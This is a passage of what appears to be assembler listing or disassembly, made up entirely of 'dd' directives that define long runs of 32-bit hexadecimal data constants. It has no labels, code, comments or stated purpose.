7ECDDEh dd 68A816FAh, 0F073558Fh, 4F6D1700h, 0AD85C426h, 9E6A075Fh dd 1070114Eh, 4AFC2707h, 0F5AA600h, 0EF0CD4CBh, 3E423C48h dd 7EE5330Ch, 0F9EB6110h, 0C69DC1E6h, 45FD160h, 0C0ECDA04h dd 47C0DEBAh, 0F8FB9EA3h, 0F5A030A1h, 0F13F9069h, 1B83693Ah dd 0E12073EFh, 0FAEC8CDAh, 0B0431ECCh, 94EA80F7h, 4DDF2DB6h dd 29CB6306h, 519DA7h, 0CAF14498h, 0F288A3DEh, 15DC4600h dd 60977192h, 60A17F02h, 0F2707181h, 0D9005098h, 0BADFF721h dd 184EDDACh, 51A5EA7Eh, 900EBB0Fh, 48EC8Bh, 0C4ABE3D2h dd 37A27C4Eh, 2F06F7Ch, 988071AAh, 0D91E586Ah, 0CF5EB601h dd 4CEF2397h, 12F1C980h, 8C7B6EE7h, 15EE4A00h, 0FCDD601Ch dd 0F6917C30h, 0EDE40246h, 0BA98E785h, 0F77EDB80h, 1019DBB5h dd 0AE9880FEh, 95AF1F10h, 4C85E60h, 58EE0Eh, 0F68082D2h dd 6320C7F1h, 76CD9C03h, 0D75F45AFh, 0FCA834D0h, 0E3970374h dd 7595DA96h, 905C1FF8h, 8CC41300h, 5969EE14h, 2348003Dh dd 5BA53CF4h, 0DD3C9C87h, 4EB901A1h, 41E17C97h, 218089D1h dd 47DD94B2h, 22E0E70Fh, 17AFAA00h, 0F2F6BCD4h, 0C8F40F69h dd 4E21E193h, 0ED946C14h, 0A732F0F7h, 0D531FB1Fh, 0E7C8803Bh dd 4C5B733Ch, 0C09C742Bh, 27184510h, 1F26179Bh, 5719B794h dd 218F8908h, 3960305Eh, 2EB9E061h, 0C83FD000h, 0B03E1437h dd 612F6DA7h, 0BD3002A8h, 40E05F32h, 9357A717h, 1D671E30h dd 0B60CA9C0h, 67A4A29h, 0FACBB9B4h, 0A500206Fh, 0C7AEB247h dd 39502EAh, 70F5086Bh, 0F0074C06h, 981D424Dh, 247F4850h dd 3B59C091h, 0E8FE5058h, 81A5B00Bh, 0D93883AFh, 0A9E0875Dh dd 0E013B963h, 694660F6h, 8BA1DEECh, 0D227BD00h, 9D833A60h dd 11EE2Eh, 1CBBA9F6h, 0FAC92DD5h, 0F91A5E34h, 4623782Eh dd 0B365DD00h, 0C790203h, 432BC0EFh, 0A206B2C0h, 0A6EC7D42h dd 0E2C90F10h, 0F4C0E955h, 0C1145A65h, 195FC3Ah, 0DEB76DACh dd 82C09C16h, 21010164h, 5B7FEDE1h, 0F51DE013h, 51B8100Fh dd 4E252067h, 57B3FCh, 5248FBD1h, 0C14CA65Eh, 207ACE00h dd 33554B82h, 68736Eh, 0F4B77F3Bh, 0BAF5AEC2h, 670094B0h dd 41B3FA60h, 778BCAECh, 0C95C0338h, 15B87237h, 0CF96798h dd 7F4D2203h, 88B3BF0Dh, 0ABBAF1h, 1D6CA4ADh, 696BD536h dd 0E13DBCF6h, 3EA8F4Dh, 0ED34C731h, 5EFE25A0h, 0B5F3009Ah dd 43827481h, 0E5052F0Fh, 99D2A30Eh, 82AB3C0h, 0F058E0E1h dd 957F06h, 74844D82h, 5EF739FCh, 7D348900h, 32368C9h dd 0B5D00D7h, 539AC2F0h, 4014DFBFh, 0CE61CFh, 0F8F28AF6h dd 7303B9h, 5BEAA98Dh, 6FA1A334h, 5AA49500h, 8C46FEA5h dd 2C230083h, 0A0C47065h, 0CC00B760h, 28745240h, 3E7D03h dd 0C7A87EEEh, 36A5ECF4h, 86348807h, 0E00EE038h, 5B2D2F1Ch dd 0D55D0ED6h, 0C2C2F3EBh, 0C0DDBB16h, 1AD1848h, 0FFC59FCEh dd 8089142Fh, 0E3A8B59h, 0BF3A575h, 33AFED0Bh, 847C2800h dd 510020A7h, 505D6A03h, 70B4F78h, 0EFF74B04h, 0D921C00Ch dd 9500DD12h, 0A501EA68h, 1F96303Ah, 1E8DE32Bh, 94CC4008h dd 0A6D07088h, 3B64164Ch, 0A35F0030h, 6AD8F6BFh, 60DB0052h dd 0CC7779E4h, 21014989h, 5A0FF38Eh, 1180DCB0h, 0D68B0954h dd 371E3DE5h, 5DC913DFh, 0DA002051h, 1D86DED8h, 40FD66B2h dd 1A4C4A81h, 177070F0h, 83407D01h, 0B4386DD0h, 390635DCh dd 4E00DD8Eh, 0D366DB33h, 1600F1B2h, 4445CB42h, 0F692C5Ah dd 0AF6589FDh, 978805h, 3EF83DDEh, 0BB0E8BEDh, 79B662Ch dd 0C0BEC5DFh, 0D3A6E0Ah, 7DAF006Dh, 874ABD3Dh, 7A3DBFEDh dd 0A09C0711h, 32F0748Bh, 3FAB1F78h, 2A01A6D6h, 476520Fh dd 396EE892h dd 2B3F001h, 8CBFC654h, 5925F8h, 0B98E26C5h, 474DB2ECh dd 0A1CC1E00h, 798163DDh, 7552076Bh, 9778E8h, 34C0E6Dh dd 36E20700h, 0F6021B7Ah, 0F5D70090h, 3526EAE0h, 0E7286DAh dd 0A646C438h, 50173C87h, 0ACC500FFh, 0B2811C5Ah, 0DF0068E8h dd 1B44CE0Ch, 0C485E5h, 8E4D38B0h, 3C1601CCh, 8A20F01h dd 18B9A36Dh, 9CD8F0h, 521F482h, 0D4E0658Ah, 9117F500h dd 0EB122C89h, 165B00D0h, 8637EF8Bh, 33008CB7h, 6D365311h dd 318107h, 95B5E6B8h, 7371D60Ah, 8027133Bh, 6D55DBC4h dd 0B24E3h, 2A1841B2h, 0A3313EDFh, 0C85E6000h, 7116B8A4h dd 28B0739Ch, 84351Ah, 0D3B43699h, 3C4B93CFh, 0CEF5C600h dd 428C868Bh, 0ADAA00EEh, 218AFCF3h, 594887EDh, 16100F4h dd 529574C9h, 0D49F0071h, 65C7CA7Eh, 0AF3CC640h, 208401C0h dd 0E08296A0h, 284848FEh, 3D9F07C3h, 5CDA88h, 1F18F9B2h dd 0D9009CEEh, 81966071h, 3A3087EBh, 180FA75h, 2BE18D4h dd 0DC001CB1h, 0E3B9E81Ah, 0E090B7BAh, 600800C3h, 0CB104FADh dd 0DF020238h, 658CB252h, 0E4E8432Eh, 75E87480h, 61253C5Eh dd 11A4080h, 176BC365h, 9E4D5570h, 0F3830260h, 2A32AEh dd 0A666E83Eh, 1B68B900h, 19BF581Ah, 0F55A24F6h, 26560086h dd 0F06B57E2h, 7DA0BB13h, 3FA82800h, 2EE61C7h, 39C48923h dd 28C0104Ah, 1848434Dh, 9AFB0095h, 654B348Fh, 4F7C0CFDh dd 83A8DCE2h, 70039B07h, 0E7545791h, 58935CC1h, 0A8C770h dd 181BC435h, 0C2405FBBh, 89167C00h, 8E051C24h, 2C31D44Fh dd 509FD800h, 19712B6Ch, 21E458h, 0C599342Ch, 28E0E56Eh dd 1CF0A481h, 4E1540D5h, 0B5404B1Fh, 8A844F3Ah, 0DC9D0E00h dd 0D5BEE6F2h, 387B0009h, 307A07C9h, 9100C001h, 88C32A28h dd 38C8195Dh, 0B500AA89h, 0EE12DE1Ah, 293FAC18h, 0FCD40038h dd 0FECA14FBh, 4D8F03E9h, 0DC32B95Fh, 0A43080BCh, 0D701416Dh dd 2FF921Fh, 34F48ABBh, 599618FCh, 0F42CA9D1h, 66D818A3h dd 5A3A0371h, 5F4A022Eh, 0A4DA324Bh, 6200B328h, 0EA1189FEh dd 0F0315E8h, 13BE55A6h, 0DB3AE0DAh, 9FA512E9h, 11744798h dd 9B2CC38Ah, 487C1EA3h, 6F15E20Dh, 389D2167h, 0B7F6C326h dd 2BB1BB47h, 59204610h, 0CD118A0Ah, 19860CA5h, 511F2Dh dd 22B8CF9Fh, 0E8C631B3h, 0DB73Bh, 8535DABDh, 3EA6A1Fh dd 0F18263DEh, 0BAC8A783h, 4B1E10DDh, 1B4027D4h, 0FAEA6535h dd 9A850064h, 6AA034FBh, 0C90016AAh, 2614016Bh, 0DE2CB7h dd 0D007C1F6h, 83CED8D3h, 1B613Ah, 0D7F872D9h, 1E0DA571h dd 4048FCEFh, 5C3EDEABh, 0EB00E8D4h, 3F05D550h, 5B1545h dd 4BE258F2h, 6420E3F4h, 0CCFD6D00h, 62CCD4Ah, 0C2E61E0Dh dd 6E494E09h, 4D7842E0h, 8C55261Ch, 0D2C1D980h, 50337D00h dd 0FA3C2CF7h, 7CAF0092h, 5DBF0E7Eh, 0EA01B801h, 1C2EA5C5h dd 0C871834h, 1722A6E2h, 0FB0CC211h, 51F026BCh, 0ACCD28BFh dd 0EAA002ACh, 2EDBBE6Bh, 36F141E0h, 0B51E1200h, 940381EBh dd 0D65E15AAh, 5800C407h, 483FEC37h, 9FEC8B65h, 3D3EFD00h dd 4F7B8630h, 5A9E002Ah, 492E3A6h, 0A5183772h, 4879ED19h dd 1CF41898h, 0B45D11C4h, 71000DF2h, 532D5E86h, 22FA527h dd 120CE2C6h, 9960B504h, 0C202974Dh, 2D1C77BBh, 4690AF92h dd 4991970h, 0C1D533B4h, 2B4180FDh, 0ED038E8Ah, 75952A4Bh dd 4ACC0BCh, 0C2239E2h, 0EFE36B80h, 54D14823h, 2A002074h dd 94087D86h, 1974EDA8h, 699195EBh, 0E1C8D8D9h, 7E041EFCh dd 0B28CA3BDh, 0C704C8h, 16FDD937h, 7141E94Ch, 0B225FE00h dd 8F59EF33h, 487E0FF0h, 0C1035488h, 4290E4B4h, 0F2003339h dd 0CA2C204Dh, 60CF9A6h, 3B07C658h, 496079A5h, 70FCC038h dd 73E90280h, 26A8693h, 40F4B481h, 4C8D76Fh, 84AA06D5h dd 0E21AA600h, 0E100AA0Bh, 65668583h, 0CE593E3h, 0B99FC14Dh dd 780C0DB9h, 11BD3F72h, 1F6900EAh, 5BCC47D3h, 19C0A0B2h dd 15BEB4ABh, 4FFF0080h, 9E6F3F9Fh, 271C9938h, 64C34A82h dd 0B9333A23h, 0A07AD3BEh, 0C004283h, 45112B05h, 3107A712h dd 0B6D99C39h, 7AE0F48Bh, 0F9984F03h, 7E256E97h, 54203C1h dd 3C7FD2Ah, 0F1102004h, 0B500AAD9h, 0EF64D64Eh, 2204B800h dd 0F047DEFCh, 10F9009Bh, 15767F45h, 9933C158h, 0CCA6C1B4h dd 34C68488h, 0C019BE6Dh, 0F78EDAF5h, 866E9938h, 664397F4h dd 9BCA1889h, 1D8DB194h, 5226ED00h, 1D2549Ah, 0C53B0036h dd 682415A9h, 0A1C0DDF0h, 8190D442h, 3AD8E4E7h, 9C80325Bh dd 3DE15C25h, 4E0C7774h, 31DEF013h, 0CC940049h, 5004C63Fh dd 0C501A132h, 0BEA7E236h, 9C221FA5h, 4F7C101h, 0D45B9205h dd 8F094842h, 12BF0B4Bh, 0FCDF80CCh, 0A96FC2h, 4B90D95Eh dd 0BDFFD2E8h, 2AC1410Ch, 1C8EF9B5h, 40659202h, 5EA124E6h dd 1F44BA07h, 86160060h, 3D99E4DBh, 0B860B277h, 0F3222D39h dd 44D762Bh, 5C076A62h, 9158829Ch, 14CAF123h, 0A02712B1h dd 871CF500h, 0CDB13061h, 0DEB526h, 3876970Ah, 3800CA13h dd 799C8A18h, 36491BAh, 958DEA54h, 0E8E06FF0h, 3B460E03h dd 40D6B336h, 0F0EDE491h, 5F8CA071h, 740B09A6h, 10993F1Ch dd 0CFA1872h, 9D9417DAh, 70007C21h, 0FD4E2913h, 4183765h dd 0A36F641Dh, 0D090C9A4h, 5C008BE3h, 32DB174Bh, 0F002AA4Ah dd 4B100E7h, 9612425Bh, 37756829h, 986DC029h, 771AEF00h dd 0FC526Eh, 6176C45Ch, 0EDA51991h, 9420F90Ch, 8E8995h dd 1116921Dh, 6D5DD8CCh, 0FE089F77h, 803AD68Bh, 89BF858h dd 46001484h, 0AB1670F0h, 0A27D4Bh, 0C2A5883Bh, 0C81F31F9h dd 0B4564Ch, 65E919FDh, 529CCD25h, 73059CB2h, 12EF7E80h dd 0FD2403E1h, 498CA12h, 100A72E4h, 0E4C31F0Ch, 33D880BBh dd 61A5FEACh, 0D67E2CBDh, 65700238h, 6F60E20Dh, 0BF527C78h dd 0FDEC24DCh, 674D0A00h, 73691C7Fh, 0C61B00E5h, 239FE733h dd 78C0DF6Fh, 0CB0792ECh, 8489549Bh, 0F1670E5Ch, 2064BE1h dd 247568DCh, 5BC72C04h, 208474FEh, 0B8E6088h, 381C7207h dd 60A01891h, 0A1443510h, 0A8D24826h, 3D89E009h, 0A0C0E81Ah dd 0E5007381h, 0D9EB5572h, 7F10ACFh, 747960Eh, 0EC4B8127h dd 0C9E820D5h, 8844972Ah, 0CD9BEE16h, 0CCEA3C1Ch, 9A446C90h dd 0DEA02424h, 6E360804h, 702DDA40h, 0CB213C81h, 3D4E6400h dd 9394296Ah, 96F239C0h, 1D20B990h, 89DBA5C2h, 4801DC10h dd 33525AF1h, 5E610018h, 4A1B4B6h, 0AEA309E3h, 0BC1BFC93h dd 0BA977E80h, 192C981Fh, 7001CE1Fh, 0A8CAD6D7h, 2980DCE1h dd 0FBC93C63h, 81735539h, 46D3CCFFh, 0CC34800h, 0D0644A9Ch dd 1827179h, 3C25523Ah, 80F61C8Bh, 771D4B41h, 0B7F92Ah dd 399D0292h, 0E870DE01h, 0D99E9430h, 0F27C33D1h, 5ABD0030h dd 0D6A2F6EBh, 0C700BB8Bh, 59727115h, 4CA71607h, 6C8008BFh dd 0E6EB010Fh, 0E72E1E00h, 29978BD7h, 121D0045h, 42F1B514h dd 4118F596h, 0E391DF1Fh, 0E1B2037Ch, 0F76D91DBh, 5692DDB0h dd 0F1394E07h, 13FB7BF2h, 3F2BA074h, 9063F841h, 0E9A1F418h dd 29DCC861h, 9F9B3084h, 0C14F56C1h, 1E0C953Ah, 89421243h dd 6027C390h, 19AAC8h, 0C8873B18h, 0E1FA846Eh, 7A63D509h dd 5788189Dh, 0A2211EA8h, 5A3D3DE2h, 122D6A80h, 2E184C8Ah dd 0DEBDE41Ch, 830EF52h, 16F70Dh, 17FED35Fh, 22FCA184h dd 594C0BFh, 4487336h dd 94CFD24Ah, 0F71480E3h, 0EC9881B0h, 1C1EA3Fh, 96324F6Eh dd 2A10AB41h, 9C02A180h, 4D943560h, 0CF5440D9h, 0DC8244B2h dd 93C85600h, 6D49D136h, 0C73513A0h, 0C1C100A3h, 0A7249A4Eh dd 0CC8BA101h, 50C588DCh, 0C2C9A5F0h, 0C2F00D41h, 6380C8A7h dd 7E8036Dh, 0D9C1A702h, 941DFD79h, 84001862h, 5E635D42h dd 0A0E6C095h, 1AEA9703h, 7146E96h, 0EBF2A5B9h, 0B400EBA7h dd 76D1AAC0h, 4F8F3001h, 0FA112D0Eh, 0B87C5BDCh, 0E3BC00C8h dd 7738CF4Ah, 32031EC1h, 368829A8h, 0B23800E8h, 0D9B5908Eh dd 717864E1h, 33C747Ch, 7E351A6Bh, 93566011h, 14F604h dd 505F2247h, 0E8BA6503h, 99549C00h, 82E0DF66h, 59E26063h dd 59D24716h, 1B0C4F00h, 503CA874h, 0DD7B108Dh, 0CD640076h dd 0FF71621Ch, 2868DF82h, 98687EE4h, 415E01B8h, 7390E63Ch dd 8D5AD012h, 8FFE91C6h, 87180031h, 0A5F7D467h, 0F2036097h dd 0F91CDE2Fh, 0EA84D024h, 2A530077h, 75066662h, 9D017118h dd 6F9711DEh, 49808AA2h, 155CC3E3h, 2900B16Dh, 4DF613BBh dd 24A6B6A4h, 0B5B5BFh, 0BAF58872h, 9D60A207h, 4B4D7D39h dd 108300B1h, 0E35FC742h, 1701B8BFh, 3DB45814h, 910071A7h dd 1A00B05Eh, 0B56092F4h, 0A0A1F8B8h, 0E824E764h, 0F9D20045h dd 0E3FAC394h, 0EA746164h, 3D3DFB98h, 808B2AD4h, 0F1F5A700h dd 0A68CE15Bh, 6FAD0049h, 29C83815h, 2A3CD5EAh, 89FC98E7h dd 7DEEB31h, 0DB388083h, 15D4C32Bh, 57CDF7D0h, 0C30075E4h dd 0AE720A3Ah, 64FA48F8h, 0C0163978h, 46779C4Bh, 0E0F3322Ch dd 0C0658E00h, 0AD0F413h, 0E28C055Ah, 10E180E8h, 0C3662EFDh dd 252FEB01h, 0CA6FD0A3h, 1820F8FDh, 91C1BB9h, 69D331E4h dd 171E7788h, 867E2200h, 12C284Ah, 0ACC40067h, 0F4148A90h dd 0B8002604h, 0EA46CD3Dh, 0CA55303h, 85FB1BAEh, 0E600A0A9h dd 61151901h, 2A52B9h, 341DE2CDh, 0A2069C12h, 8CB48454h dd 0F8A87200h, 494890C1h, 5C11011Bh, 925613BDh, 6078E376h dd 0C8748609h, 8D4C10F8h, 0B9B66061h, 90DA0457h, 62FA8101h dd 9BA1EC1Bh, 9F052980h, 9CAC4659h, 0BB9A7300h, 6E835197h dd 480002Bh, 14E762CBh, 0B2069BF7h, 0D21A0D84h, 63FBF458h dd 0FCCED181h, 0C84A03F1h, 76033C4Eh, 0A273B7ABh, 0AF690F96h dd 25A0F6C2h, 0B0829DD5h, 0BACF8F01h, 5F5EE1C7h, 0B8494999h dd 14F410D3h, 8FA5001Ch, 0B691A90Ah, 940764F6h, 4326B473h dd 9D127CF0h, 20293B5Eh, 0F4D8A894h, 4CEE6A00h, 0A94538Eh dd 0F11C3Fh, 48C9C6CCh, 78C0312h, 1E59B98Dh, 8FB1F01Ah dd 0F9028344h, 0BAFD87AEh, 14444FAh, 0E643F715h, 30E753C7h dd 0E4000AFEh, 2FD63518h, 14B0723Ah, 0FC4290FEh, 494EE804h dd 883088B7h, 93686000h, 256AA31Dh, 9A2A01A2h, 0E914CA6Dh dd 8ACC4227h, 408F5040h, 3854B900h, 488C17FAh, 85031F96h dd 40E31388h, 33425150h, 0CDEA2120h, 0DC8C4518h, 0FB1DF69h dd 0DD12C824h, 0FA6AE340h, 0E2049364h, 36E15C2Ch, 6B94C8h dd 5AFEF4DFh, 0A07F5614h, 61ED7930h, 0F7DD28Dh, 0A6F78533h dd 8BFCF1A0h, 0EB0079F5h, 3C82F616h, 7A4131h, 0A1CC1A13h dd 0E13A0844h, 28885222h, 6586616h, 4EF761C1h, 0FB14E8C0h dd 0E8CE1Fh, 9FF52C4h, 325E7555h, 0C220A619h, 3498D880h dd 957B549Eh, 1E14D31Ch, 0FE7A5980h, 5E6A07h, 78E6119Fh dd 72A418CFh, 82F3F704h, 0DC4F7FFCh, 5070BE40h, 0E27D7C02h dd 12008891h, 3E157311h, 0B12126D7h, 0C503006Ch, 0ADC99655h dd 2FC43A00h, 645BA47h, 29CB1215h, 51480179h, 80B3FE9Ah dd 1BC8AC49h, 7C8E6369h, 0C899F5h, 11AF1856h, 75908770h dd 58ECE700h, 786759CAh, 0A40971E5h, 0CBE638D8h, 21DB9A80h dd 0E768E428h, 625C1302h, 84361896h, 8C82C188h, 3C5A2A71h dd 62AF900Ah, 898240D8h, 0B507D8A6h, 8759F6Eh, 0C04B2562h dd 122C40h, 0CECD5C41h, 1D7C24C2h, 0B0549800h, 0A6B37F52h dd 49EE6F62h, 47427320h, 8F0C15ACh, 61D20F68h, 2C2600DFh dd 5CBBE02Bh, 0C900E6A5h, 0BF3901B3h, 188179A9h, 0B03084CFh dd 94B1B7B5h, 61B92F0Eh, 9DAAF5BCh, 1D7033E4h, 46958E7Bh dd 29E1B789h, 7D3B9E00h, 0C7E46B49h, 0C422039Bh, 5F55356Eh dd 728C81DCh, 383268h, 0DE86960Eh, 449852h, 128D4270h dd 0A60356C1h, 0A8117577h, 0C0E82A1h, 3341DC5Eh, 0F98EA064h dd 0E432B7h, 0CF7E5172h, 3842B78h, 7F91F78Dh, 2100DFB7h dd 366966C4h, 0E604ACE0h, 6EF10318h, 0C0FA47F8h, 50BE2B90h dd 7A92A0C5h, 6C40C820h, 54AC007Eh, 9AE620F8h, 0C986AAAh dd 35C89902h, 8AFA3Ch, 1FA7F6D1h, 0F113EB00h, 260FBDBFh dd 19940061h, 0E5F7EE73h, 0E485C48h, 0A36A0058h, 52B8081Fh dd 9C9700CDh, 34461E1h, 0FF4DE679h, 6D8C0424h, 9081AE71h dd 69807548h, 5EB567F9h, 1F073D5Ch, 6117B952h, 0E488FFA5h dd 0CAD3006Fh, 4241638Dh, 8338AE26h, 0C66E0109h, 8CCE755Dh dd 0C005F330h, 5CE5719Ah, 6233C030h, 0E884F9F8h, 9EDCC2h dd 65A72BABh, 3431275Eh, 2657BF00h, 0F8A57259h, 0B0E0548Ch dd 0D3940212h, 0B7DF9A0Eh, 96123E0h, 0F6C89600h, 0C764366Fh dd 75BC003Ah, 0C3F31A2Ah, 17496618h, 878A0304h, 0C0EE2E2Dh dd 1A042F36h, 0D18EF9C9h, 20FBB801h, 0E89A210Eh, 7806E1DCh dd 0D4618277h, 44E64C81h, 69003C48h, 9A546BDBh, 2C3E2FE4h dd 89628B8Dh, 619011FFh, 2E31C4h, 0F0EC635Fh, 0ED9D08CCh dd 0EA10F200h, 0FAB23E14h, 3FA11C83h, 0BA3AC064h, 0C720E32Dh dd 0C1EFC802h, 0C19E02F4h, 81E8014Ch, 34CA5814h, 1572DA0Eh dd 0CC856805h, 71079ED0h, 1CD25F86h, 0D6FDE8B0h, 11CF38C7h dd 0EC74FB95h, 0AECBD700h, 7F837A75h, 80869C38h, 891A66D9h dd 1AF531Fh, 2DCCC5A2h, 80DA8C44h, 775CB9F9h, 0AEEEC2h dd 0D06431C7h, 86FAA918h, 6DE159C0h, 3B7988CCh, 0F00E7A1h dd 14C0C5DEh, 8E0ABEB0h, 0FCFF3687h, 80ED908Ah, 0C4599E00h dd 717833EBh, 81DB1395h, 0D89C002Fh, 34DAF614h, 248068B9h dd 0B43B43B1h, 16770048h, 0BC51CF1Ch, 0C9181F25h, 8D2998F4h dd 0B9B86060h, 34729C89h, 0B0042626h, 0F38F7300h, 165EAAE6h dd 1581F30h, 54D65120h, 0BC84F65Bh, 2DD080C3h, 8B3C0350h dd 513603CEh, 24132B7h, 16F1CCB8h, 7C509804h, 0FC32989Ah dd 801981BFh, 96FD88C9h, 78F70B73h, 7890FA35h, 483946C5h dd 0CAC28090h, 0E61B08F2h, 2177605Bh, 0CD5E60F8h, 5181FE30h dd 1BEBAh, 0CF4F08A0h, 9A7AB057h, 0EACE1100h, 598D04BCh dd 7140069h, 102A5487h, 0E94C9E83h, 5E67C0F8h, 6277AC5h dd 0F922F0D4h, 510B388Bh, 123487A1h, 0B9A460BCh, 0A82548ECh dd 3B805C4Ch, 0D43D08A6h, 88951E00h, 17117164h, 7A7800C9h dd 0A24740FBh, 0EA48810Eh, 64CC404Ch, 943AB50Ch, 1C224879h dd 0D511CC8Ch, 800CCC9h, 4E43E860h, 2900D857h, 0DBA9DC9Ch dd 3122AF4h, 1E199A62h, 1BC36503h, 0F69769D8h, 0FF50D40Ch dd 7C9999h, 381C6B09h, 8CDCAE14h, 17A05103h, 886DF41Eh dd 9168B7B4h, 1687B9C8h, 0F36AEAC2h, 0D09707E9h, 8F8DA372h dd 184CCC3Ah, 0C8A1AACAh, 0A7499F0h, 8090FB63h, 51FF7EE8h dd 0D801FA3Eh, 782DB131h, 10747F17h, 4C9AEA8Dh, 0F180707Ah dd 0B474D488h, 73461400h, 85609B8Dh, 0BEE8034Ah, 29943379h dd 77D882D5h, 0F81326h dd 7FB41C90h, 0D051F8A2h, 0E2CCD37Ah, 33A1C6h, 6326231Ch dd 864196CFh, 0FB5A3E18h, 1450388Eh, 0E85106FAh, 7521C401h dd 1384A1EAh, 8CE5A893h, 16D0083h, 7206AF17h, 0F4E41841h dd 0CC9DBCA0h, 4A450C90h, 4BC81031h, 5662143Bh, 0D30E7063h dd 60608994h, 0BAE6812Eh, 0EC00FBEEh, 0DD141620h, 3F1AABA8h dd 0FA8187AFh, 1726CEC1h, 74C2266h, 96C83275h, 0F9508A00h dd 0CCE90089h, 1A5F8031h, 0FA2AA8AEh, 0BE588C82h, 3AA339BDh dd 0AC651E98h, 72348D00h, 3AA162E5h, 9E3C1316h, 944C203Ch dd 69E90F1Ah, 21CFD480h, 1901CB73h, 4403B13Eh, 40EA20DCh dd 48599C58h, 8880B8FFh, 263DEB69h, 75D70300h, 0C5AAEA4Ah dd 0BED30041h, 0E97111E3h, 0C43918A4h, 56448072h, 0D3B0B2BAh dd 2710B0EBh, 2C83C9AFh, 9802BF78h, 7A8CEE89h, 817C60B1h dd 12D47CD3h, 30C27156h, 413937D4h, 647B8901h, 0C34F92DEh dd 2C06A830h, 4CB5Ch, 8EAD9CFDh, 27122E90h, 85CDBB7h, 21F5D800h dd 7A1D09h, 9FFA83CDh, 82F64BA4h, 13B988C1h, 2864AF5Ch dd 0CF592485h, 0F3A96028h, 107B8756h, 2F86B00h, 0DB0171A4h dd 2515CD8h, 626C0173h, 0B7B348CCh, 773980ACh, 0A4052CB1h dd 0CF971E40h, 0AED8801Fh, 0E4A6998Eh, 3114890Fh, 1987A5BAh dd 0B7B2B043h, 0FA4100C8h, 0DDC35633h, 5201D86Dh, 20F059EEh dd 0A8602F5Bh, 98CE069Ah, 107C453Ah, 0B347040Bh, 0F3889836h dd 426F00E7h, 125C6D01h, 66FE0421h, 0AB97C200h, 536417B4h dd 0A1B704FBh, 0B40F806Ah, 0E127931Ch, 0CEFCA051h, 56F9Fh dd 9DB63B68h, 572F5914h, 0F2B3B80Bh, 0C0149AC8h, 0DBC661Ah dd 835BE149h, 0EE384241h, 6BA37F20h, 0DB8A044Ch, 0E4639016h dd 0A000524Ch, 42DAE5FDh, 0C8E89C1Bh, 0C8406C20h, 7F1F8BB7h dd 0E3DA1E8Ah, 9AE200A9h, 34ABEA1h, 52C15301h, 0F88585Dh dd 6B28D023h, 710D15ABh, 274E9C46h, 38D7D0B8h, 1AEE0EF1h dd 71346C00h, 0EB1F68C0h, 0EA080986h, 18008050h, 0B4B7FD83h dd 7D982101h, 0A24D0A32h, 951FB832h, 415600C2h, 7A6924F8h dd 0DE8080B4h, 0C75FF359h, 0FD510123h, 442F3532h, 0DBD08036h dd 3CC18A14h, 4C0C0786h, 39EBBE19h, 43D04800h, 0D8B1698Dh dd 0D9FA5701h, 0A0603A56h, 1C9899h, 0F677E4B4h, 0EFC9067Bh dd 1D0CC58h, 0CF4713CAh, 31D0140Dh, 261CB03Ch, 40F8FE9Eh dd 6DDEFBE2h, 2258B01h, 87D5CADFh, 0B01E97D4h, 5DE43A74h dd 13DAACA4h, 9EDC90FBh, 8660E236h, 2C4B976Ch, 99160307h dd 0CF9A8867h, 0C4A012D2h, 0A552A025h, 0F9610C09h, 27A8E035h dd 51B80CE4h, 0C9A81994h, 0A459B20Eh, 0A0C10214h, 6C7AFEh dd 12707284h, 0A7EFE530h, 3176500h, 7C474EB5h, 0E6243EFEh dd 0F0B974h, 60EC7763h, 0B1183233h, 7D06314Ah, 485A07CAh dd 263CF9A0h, 6200C95Eh, 34DE8C5Ch, 5C433AAh, 0C83CCD03h dd 8DEC8CFBh, 7248B9EEh, 0C7EF0170h, 57878051h, 18BCB880h dd 0A2C452AFh, 54ADA909h, 0D6A44863h, 259A165Fh, 0E300FAB0h dd 822C6443h, 64B548F5h, 51BCEF80h, 0C1123958h, 58167126h dd 0DE923460h, 6D580704h, 407494A9h, 54FD39C4h, 8A111200h dd 0EDE361A4h, 1F890019h, 97EE9695h, 0B6131758h, 709060E1h dd 5814E940h, 0F709CD90h, 0D411A1C6h, 0AB36ECA4h, 208C8627h dd 56600A1Ch, 7F1E2C0Fh, 0E7BB6064h, 0AE4891ACh, 0E0ED007Fh dd 0DF191A44h, 48F602D7h, 0A2D3247Bh, 4082B084h, 8F65FD09h dd 336701FFh, 57D05F36h, 0F39FFC19h, 1D2F8802h, 44A1BF6Fh dd 68161CA0h, 0F2CC00B4h, 0AD320E77h, 5AF02003h, 0F8BA5314h dd 7C28571Ch, 0F7720A08h, 1A4FDB4h, 0B7E24588h, 0F8E041F3h dd 0F0B011BFh, 0BC49820h, 56E15FBCh, 0CE070818h, 1782738h dd 3803B4D7h, 398E85A2h, 0BFA0F709h, 3CE31EF5h, 9EB54900h dd 55E2C490h, 92911DD1h, 237917BDh, 781637Ch, 241DD40Ch dd 65000D7Ah, 0CF6F43C4h, 7F953E17h, 323A2D47h, 12EA890h dd 0F8901D1Eh, 17B57542h, 0CDE8E0FCh, 49162h, 4FFB109Bh dd 0DE30C8B6h, 5614A1B5h, 7A6D18CBh, 51F029ECh, 9734A00h dd 9C8CF74Ch, 41475F5h, 0C3FA4B32h, 22FDC082h, 974C90E1h dd 48A7528h, 0A5FB198h, 80CDA6Eh, 8E8EBAFAh, 8518C351h dd 0A4A3A9E7h, 18C88020h, 31E38C4Fh, 9FEE1E2h, 0EE356100h dd 8B636F60h, 9F140FC8h, 0F64370D8h, 9ED0B96Eh, 0AC4CDEABh dd 9D5900ECh, 730AFD87h, 718063A2h, 5A804F86h, 0EF0010D3h dd 0F0D46CB8h, 0B42FDBh, 71786E3Dh, 58111744h, 6AF9D200h dd 802A1CAEh, 4730E1Fh, 0FF696D61h, 85EC7868h, 0D7EAF600h dd 0E3FAA2D5h, 69D201C4h, 882227C8h, 80046C0Dh, 0E6DED9FBh dd 44E42EE9h, 4B2C0F0Ch, 0FCC45909h, 0C5A57900h, 71273F82h dd 0E6478FAh, 2F377D06h, 1400E5D4h, 598CAB5Ch, 7F5C4095h dd 0C1B714E3h, 10B03EC0h, 0FF84D36Dh, 0DD6C2199h, 819E5B11h dd 716CA40h, 0F83072A3h, 6D573DD7h, 837CA924h, 0F4048187h dd 0C2F6CBD0h, 8420105Eh, 1FF809h, 48DA361Bh, 0EE4472E1h dd 8CA17813h, 9C70D88Dh, 0E29A88C7h, 15271C01h, 0E8490E1Dh dd 0C946F8h, 24F53AFBh, 25E777FDh, 10A64890h, 0CC643205h dd 7CC9628Ch, 67004063h, 56B50453h, 23000FF1h, 0BFD4824Fh dd 12E4CA37h, 612DCDh, 